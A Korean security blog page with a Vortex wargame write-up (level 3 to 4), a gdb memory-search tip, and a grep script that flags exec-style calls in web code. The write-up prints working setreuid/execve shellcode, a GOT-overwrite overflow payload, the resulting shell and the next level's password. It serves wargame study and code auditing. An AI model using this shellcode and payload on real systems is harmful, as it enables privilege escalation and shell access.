ret 을 덮어 띄워서 일반적인 BOF를 하고 싶지만 코드 끝에 exit(0) 이 있어서
ret을 호출하기 전에 종료 되므로 다른 방법을 써야 한다.

방안 1) dtors 를 덮어 씌워 종료시 쉘코드를 호출 시킨다.  
       //다른 블로그엔 이방법을 많이 썼으나 필자는 dtors를 가르키는 주소가 없음.

방안 2) exit@got 을 덮어 씌운다. 두번째 exit가 호출될 때 쉘코드가 호출 된다.

(gdb) x/xi 0x8048320  //exit@PLT
   0x8048320 <exit@plt>: jmp    *0x8049738

(gdb) p exit 
$1 = {<text variable, no debug info>} 0x8048320 <exit@plt>
//code section 부터 0x8049738 주소가 있는 곳을 뒤져볼 생각이였음.

(gdb) find  0x8048320 , + 10000 , 0x8049738
warning: Unable to access target memory at 0x8048320, halting search.
Pattern not found. 
//access 권한이 없어서 검색 범위를 좁힘.

(gdb) find  0x8048320 , +100 , 0x8049738
0x8048322 <exit@plt+2>
//이 주소가 가르키는 곳이 exit@got 이다.

1 pattern found.

스택의 구조는 아래와 같다. 
stack struct
[ buff = 128 ] [ tmp = 4 ] [ lpp = 4  ] [ sfp ] [ ret ] 

 shellcode(43) + dummy(89) + *(exit@got) 

[shellcode k1rha.s]

.global main

main:

xor %ecx,%ecx

mov $0x138c, %cx

xor %ebx,%ebx

mov $0x138c, %bx

xor %eax,%eax

mov $0x46, %al

int $0x80


xor %eax,%eax

xor %edx,%edx


movb $0xb,%al

push %edx

push $0x68732f2f

push $0x6e69622f

mov %esp,%ebx

push %edx

push %ebx

movl %esp,%ecx

int $0x80


gcc -o k1rha k1rha.s -m32 -z execstack  //stack 실행권한 및 32비트 설정

sizeof( \x31\xc9\x66\xb9\x8c\x13\x31\xdb\x66\xbb\x8c\x13\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80 ) == 43 byte



[ attack ]

vortex3@melinda:/vortex$ ./vortex3 `python -c 'print "\x31\xc9\x66\xb9\x8c\x13\x31\xdb\x66\xbb\x8c\x13\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "a"*89 + "\x22\x83\x04\x08"'`
$ id
uid=5004(vortex4) gid=5003(vortex3) groups=5004(vortex4),5003(vortex3)
$ cat /etc/vortex_pass/vortex4
2YmgK1=jw


'War_Game > Vortex' 카테고리의 다른 글

[Vortex] level0 -> level1  (0) 2013.07.29
[vortex] level2 -> level3  (0) 2012.03.31
[vortex] level1 -> level2  (0) 2012.03.29
Posted by k1rha
2013. 10. 9. 00:11

[gdb] gdb find 의 활용 (원하는 메모리 값 찾기)


gdb로 메모리상에 특정값을 찾는 주소를 찾는 방법


[출처 :http://sourceware.org/gdb/onlinedocs/gdb/Searching-Memory.html]


find [/sn] start_addr, +len, val1 [, val2, ...]
find [/sn] start_addr, end_addr, val1 [, val2, ...]

Search memory for the sequence of bytes specified by val1, val2, etc. The search begins at address start_addr and continues for either len bytes or through to end_addr inclusive.


ex)

(gdb) find 0xf7ee4520, +1000000 ,"\x43"

0xf7f52c69 <dl_iterate_phdr+425>

0xf7f77d29

0xf7f792ec

0xf7f7936c

0xf7f7f1d0

0xf7f7f654

0xf7f7f6c4

0xf7f7f820

0xf7f7faf4

0xf7f7fdb0

0xf7f7fe24

0xf7f7fe6c

0xf7f7fe80

0xf7f7fe94

0xf7f7fea8

0xf7f7fef4

0xf7f7ff34

0xf7f806d8



'System_Hacking' 카테고리의 다른 글

Shellcode Database  (0) 2013.12.12
[ 펌 ] win gdb 명령어  (0) 2013.12.12
[Shellcode] open-read-write(stdout)  (0) 2013.07.27
32bit unistd.h System call Number  (0) 2013.07.21
GDB 명령어 완벽 가이드  (0) 2013.06.10
Posted by k1rha
2013. 10. 5. 13:16

웹에서 exec 계열소스를 사용하였는지, 내용검색 기반으로 검색하는 쉘스크립트를 작성해보았다.

조금만 응용하면 Code 단에서 Injection 먹히는 부분을 빠르게 점검할 수 있다.



#vi findExecve.sh     (쉘스크립트 삭성을 하여 일괄 처리)

 

#!/bin/bash

echo "START"

grep -r -n "system(" ./ | awk -F : '{print "filename : "$1"\nline: "$2"\nmatch: "$3"\n\n"}' > result.txt

grep -r -n "execl(" ./ | awk -F : '{print "filename : "$1"\nline: "$2"\nmatch: "$3"\n\n"}' >> result.txt

grep -r -n "execve(" ./ | awk -F : '{print "filename : "$1"\nline: "$2"\nmatch: "$3"\n\n"}' >> result.txt

grep -r -n "fopen(" ./ | awk -F : '{print "filename : "$1"\nline: "$2"\nmatch: "$3"\n\n"}' >> result.txt

grep -r -n "passthru(" ./ | awk -F : '{print "filename : "$1"\nline: "$2"\nmatch: "$3"\n\n"}' >> result.txt

grep -r -n "exec" ./ | awk -F : '{print "filename : "$1"\nline: "$2"\nmatch: "$3"\n\n"}' >> result.txt

grep -r -n "shell_exec(" ./ | awk -F : '{print "filename : "$1"\nline: "$2"\nmatch: "$3"\n\n"}' >> result.txt

echo "create file \"result.txt\""

echo "FINISH" 




Posted by k1rha